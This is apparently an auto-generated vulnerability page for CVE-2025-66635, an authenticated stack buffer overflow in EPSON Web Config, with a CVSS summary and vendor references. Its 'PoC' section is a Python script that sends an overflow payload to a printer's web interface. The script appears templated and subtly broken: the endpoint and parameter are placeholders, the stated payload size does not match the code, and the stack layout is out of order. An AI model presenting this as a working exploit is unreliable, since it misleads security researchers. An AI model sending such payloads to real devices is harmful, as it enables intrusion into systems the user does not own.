CVE-2025-66635

Description

Stack-based buffer overflow vulnerability exists in SEIKO EPSON Web Config. Specially crafted data input by a logged-in user may execute arbitrary code. As for the details of the affected products and versions, see the information provided by the vendor under [References].

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

EPSON Web Config < 固件更新版本（详见厂商公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66635 PoC - SEIKO EPSON Web Config Buffer Overflow
# Requirements: Valid authentication credentials

import requests
import sys

target_url = "http://<target-ip>/webconfig/endpoint"
auth_token = "<valid-auth-token>"

# Malicious payload - 3000 bytes overflow data
# This payload overwrites the return address on the stack
# Adjust the offset based on target version
payload = b"A" * 2000  # Fill buffer up to return address
payload += b"\x42\x42\x42\x42"  # New return address (4 bytes)
payload += b"\x43\x43\x43\x43"  # SFP (4 bytes)
payload += b"\x90" * 200  # NOP sled
payload += b"\xcc" * 100  # Breakpoint (for debugging)

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0"
}

data = {
    "param_name": "buffer_input",
    "param_value": payload.decode('latin-1')
}

try:
    print(f"[*] Sending exploit payload to {target_url}")
    print(f"[*] Payload size: {len(payload)} bytes")
    response = requests.post(target_url, headers=headers, data=data, timeout=10)
    print(f"[*] Response status: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"[!] Request failed: {e}")
    sys.exit(1)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66635
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66635
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66635/
[4] VulDB https://vuldb.com/cve/CVE-2025-66635
[5] https://epson.com/Support/wa00971
[6] https://jvn.jp/en/jp/JVN51846148/
[7] https://www.epson.jp/support/misc_t/251216_oshirase.htm

Raw JSON Data

JSON

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